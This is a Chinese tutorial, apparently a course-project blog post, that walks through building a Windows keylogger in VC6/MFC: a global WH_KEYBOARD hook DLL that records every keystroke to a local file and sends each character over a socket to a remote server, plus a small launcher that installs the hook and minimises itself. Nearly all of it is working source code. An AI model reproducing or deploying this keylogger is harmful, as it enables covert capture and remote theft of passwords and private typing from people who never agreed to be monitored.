用钩子机制实现键盘监听---键盘监听器

用钩子机制实现键盘监听—键盘监听器

Windows系统是建立在事件驱动的机制上的,说穿了就是整个系统都是通过消息的传递来实现的。而钩子是Windows系统中非常重要的系统接口,用它可以截获并处理送给其他应用程序的消息,来完成普通应用程序难以实现的功能。钩子的种类很多,每种钩子可以截获并处理相应的消息,如键盘钩子可以截获键盘消息,外壳钩子可以截取、启动和关闭应用程序的消息等。本文在VC6编程环境下实现了一个简易的键盘监听器,并对Win32全局钩子的运行机制。

废话不多说,先上程序代码及实现过程

第一部分:创建动态链接库
1、创建一个 MFC AppWizard(DLL) 工程 命名为 MyHook;
2、选择MFC Extension DLL(共享MFC拷贝)类型;
3、由于VC 6.0是没有现成的钩子类,所以我们要创建一个钩子类
点击 文件->新建->C/C++ Header File,命名为CMyHook,点击 确定,生成CMyHook.h文件;
4、打开CMyHook.h文件,写入钩子类,如下:
CMyHook.h

class AFX_EXT_CLASS CMyHook : public CObject
{
public:
    CMyHook(); //构造函数
    virtual ~CMyHook(); //析构函数

public:
    BOOL StartHook(); //安装钩子
    BOOL StopHook(); //卸载钩子
};

5、打开MyHook.cpp文件,在顶部加入:#include “CMyHook.h”
6、在MyHook.cpp文件中加入全局共享数据段,如下:

   #pragma data_seg("mydata")
   HHOOK glhHook=NULL;         //安装globle勾子句柄 
   HINSTANCE glhInstance=NULL; //DLL实例句柄
   #pragma data_seg()

7、定义数据段mydata,工程-> 设置-> 连接-> 工程 选项-> 加入语句:/SECTION:mydata,rws
8、在MyHook.cpp的DLLMain函数中加入语句: glhInstance=hInstance;//插入保存DLL实例句柄
如下:

    .....
    UNREFERENCED_PARAMETER(lpReserved);

    if (dwReason == DLL_PROCESS_ATTACH)
    {
        TRACE0("MYHOOK.DLL Initializing!\n");

        // Extension DLL one-time initialization
        if (!AfxInitExtensionModule(MyHookDLL, hInstance))
            return 0;

        // Insert this DLL into the resource chain
        // NOTE: If this Extension DLL is being implicitly linked to by
        //  an MFC Regular DLL (such as an ActiveX Control)
        //  instead of an MFC application, then you will want to
        //  remove this line from DllMain and put it in a separate
        //  function exported from this Extension DLL.  The Regular DLL
        //  that uses this Extension DLL should then explicitly call that
        //  function to initialize this Extension DLL.  Otherwise,
        //  the CDynLinkLibrary object will not be attached to the
        //  Regular DLL's resource chain, and serious problems will
        //  result.

        new CDynLinkLibrary(MyHookDLL);
        glhInstance=hInstance;//插入保存DLL实例句柄
    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
    .....

9、接下来就是与钩子相关的各个函数的实现

实现回调函数

//钩子回调函数
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
      char ch=0;
      FILE *fl;
      if( ((DWORD)lParam&0x40000000) && (HC_ACTION==nCode) ) //有键按下
      {
            if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100) )
            {
                  fl=fopen("key.txt","a+");    //输出到key.txt文件
                  if (wParam==VK_RETURN)
                  {
                        ch=' ';
                  }
                  else
                  {
                        BYTE ks[256];
                        GetKeyboardState(ks);
                        WORD w;
                        UINT scan=0;
                        ToAscii(wParam,scan,ks,&w,0);
                        //ch=MapVirtualKey(wParam,2); //把虚键代码变为字符
                        ch =char(w); 
                  }
                  fwrite(&ch, sizeof(char), 1, fl);
                  ConnectionTo(ch);
            }
            fclose(fl);
      }
      return CallNextHookEx( glhHook, nCode, wParam, lParam ); 
}

实现钩子类的构造函数、析构函数、安装、卸载

CMyHook::CMyHook()
{
}

CMyHook::~CMyHook()
{
      if(glhHook)
            UnhookWindowsHookEx(glhHook);
}

//安装钩子
BOOL CMyHook::StartHook()
{ 
      BOOL bResult=FALSE;
      glhHook=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,glhInstance,0);

      if(glhHook!=NULL)
      bResult=TRUE;
      return bResult; 
}

//卸载钩子
BOOL CMyHook::StopHook() 
{
      BOOL bResult=FALSE;
      if(glhHook)
      {
            bResult= UnhookWindowsHookEx(glhHook);
            if(bResult)
                  glhHook=NULL;
      }
      return bResult;
}

10、由于我们要实现监听信息的远程传输,所以我们要用到socket技术,在回调函数之前加入下列代码,创建成一个客户端

BOOL ConnectionTo(char ch)
{
    //加载套接字
    WORD wVersionRequested;//指定准备加载Winsock的库版本,如2.1
    WSADATA wsaData;
    int err;
    SOCKET sockClient;

    //初始化--连接服务器
    wVersionRequested = MAKEWORD(1 ,1 );

    err = WSAStartup(wVersionRequested ,&wsaData );//该函数,把wsaData数据结构中第一个字段wVersion设为wVersionRequested使用的Winsock版本
    if( err!= 0){
        return false;
    }   
    if(LOBYTE(wsaData.wVersion) !=1 || HIBYTE(wsaData.wVersion) !=1 ){
        WSACleanup();
        return  false;
    }
    sockClient = socket(AF_INET,SOCK_STREAM,0);//流式  套接字

    SOCKADDR_IN addrSrv ;
    addrSrv.sin_addr.S_un.S_addr = inet_addr("***.**.**.**");//server IP (设置成接受信息的主机IP)
    addrSrv.sin_family = AF_INET;
    addrSrv.sin_port=htons(6000);  //端口

    //连接服务器
    connect(sockClient,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR));

    //发送数据
    send(sockClient,&ch,strlen(&ch),0);
    return TRUE;
}

11、在顶部的,引入Winsock2头文件,再点击 工程-> 设置-> 连接-> 对象/库模块-> 加入语句:wsock32.lib->确定

12、MyHook.cpp代码如下:

// MyHook.cpp : Defines the initialization routines for the DLL.
//

#include "stdafx.h"
#include 
#include "CMyHook.h"
#include 

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

#pragma data_seg("mydata")
      HHOOK glhHook=NULL;         //安装globle勾子句柄 
      HINSTANCE glhInstance=NULL; //DLL实例句柄
#pragma data_seg()


static AFX_EXTENSION_MODULE MyHookDLL = { NULL, NULL };


extern "C" int APIENTRY
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
    // Remove this if you use lpReserved
    UNREFERENCED_PARAMETER(lpReserved);

    if (dwReason == DLL_PROCESS_ATTACH)
    {
        TRACE0("MYHOOK.DLL Initializing!\n");

        // Extension DLL one-time initialization
        if (!AfxInitExtensionModule(MyHookDLL, hInstance))
            return 0;

        // Insert this DLL into the resource chain
        // NOTE: If this Extension DLL is being implicitly linked to by
        //  an MFC Regular DLL (such as an ActiveX Control)
        //  instead of an MFC application, then you will want to
        //  remove this line from DllMain and put it in a separate
        //  function exported from this Extension DLL.  The Regular DLL
        //  that uses this Extension DLL should then explicitly call that
        //  function to initialize this Extension DLL.  Otherwise,
        //  the CDynLinkLibrary object will not be attached to the
        //  Regular DLL's resource chain, and serious problems will
        //  result.

        new CDynLinkLibrary(MyHookDLL);
        glhInstance=hInstance;//插入保存DLL实例句柄
    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
        TRACE0("MYHOOK.DLL Terminating!\n");
        // Terminate the library before destructors are called
        AfxTermExtensionModule(MyHookDLL);
    }
    return 1;   // ok
}
BOOL ConnectionTo(char ch)
{
    //加载套接字
    WORD wVersionRequested;//指定准备加载Winsock的库版本,如2.1
    WSADATA wsaData;
    int err;
    SOCKET sockClient;

    //初始化--连接服务器
    wVersionRequested = MAKEWORD(1 ,1 );

    err = WSAStartup(wVersionRequested ,&wsaData );//该函数,把wsaData数据结构中第一个字段wVersion设为wVersionRequested使用的Winsock版本
    if( err!= 0){
        return false;
    }   
    if(LOBYTE(wsaData.wVersion) !=1 || HIBYTE(wsaData.wVersion) !=1 ){
        WSACleanup();
        return  false;
    }
    sockClient = socket(AF_INET,SOCK_STREAM,0);//流式  套接字

    SOCKADDR_IN addrSrv ;
    addrSrv.sin_addr.S_un.S_addr = inet_addr("***.**.**.**");//server IP (设置成接受信息的主机IP)
    addrSrv.sin_family = AF_INET;
    addrSrv.sin_port=htons(6000);  //端口

    //连接服务器
    connect(sockClient,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR));

    //发送数据
    send(sockClient,&ch,strlen(&ch),0);
    return TRUE;
}

//钩子回调函数
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
      char ch=0;
      FILE *fl;
      if( ((DWORD)lParam&0x40000000) && (HC_ACTION==nCode) ) //有键按下
      {
            if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100) )
            {
                  fl=fopen("key.txt","a+");    //输出到key.txt文件
                  if (wParam==VK_RETURN)
                  {
                        ch=' ';
                  }
                  else
                  {
                        BYTE ks[256];
                        GetKeyboardState(ks);
                        WORD w;
                        UINT scan=0;
                        ToAscii(wParam,scan,ks,&w,0);
                        //ch=MapVirtualKey(wParam,2); //把虚键代码变为字符
                        ch =char(w); 
                  }
                  fwrite(&ch, sizeof(char), 1, fl);
                  ConnectionTo(ch);
            }
            fclose(fl);
      }
      return CallNextHookEx( glhHook, nCode, wParam, lParam ); 
}


CMyHook::CMyHook()
{
}

CMyHook::~CMyHook()
{
      if(glhHook)
            UnhookWindowsHookEx(glhHook);
}

//安装钩子
BOOL CMyHook::StartHook()
{ 
      BOOL bResult=FALSE;
      glhHook=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,glhInstance,0);

      if(glhHook!=NULL)
      bResult=TRUE;
      return bResult; 
}

//卸载钩子
BOOL CMyHook::StopHook() 
{
      BOOL bResult=FALSE;
      if(glhHook)
      {
            bResult= UnhookWindowsHookEx(glhHook);
            if(bResult)
                  glhHook=NULL;
      }
      return bResult;
}

13、编译

第二部分:创建钩子程序

1、创建一个MFC的AppWizard(EXE) 工程,命名为 KeyHook
2、选择 创建新的工作空间 , 点击确定
3、找到刚才编译完成的MyHook文件夹,将CMyHook.h和MyHook.dll、MyHook.lib(在Debug文件夹中) 复制到KeyHook文件夹中
4、点击 工程-> 添加到工程-> 文件-> 选择CMyHook.h和MyHook.lib-> 点击确定
5、设置库链接,点击 工具-> 选项-> 目录-> 路径-> 加入当前KeyHook文件夹的路径
6、在KeyHookDlg.h中加入包含语句:#include “CMyHook.h”
7、在KeyHookDlg.h中添加私有数据成员:
CMHook m_hook;//加入钩子类作为数据成员
8、把OK按钮ID改为ID_HOOK,写安装和卸载的实现代码

void CKeyHookDlg::OnHook() 
{
    // TODO: Add your control notification handler code here
    m_hook.StartHook();
    ShowWindow(SW_MINIMIZE);
}

void CKeyHookDlg::OnCancel() 
{
    // TODO: Add extra cleanup here
    m_hook.StopHook();
    CDialog::OnCancel();
}

9、编译生成可执行文件

 点击确定,安装钩子;键盘的按下会显示在服务器端,同时也会记入本机的key.tet文件中

你可能感兴趣的:(课程设计)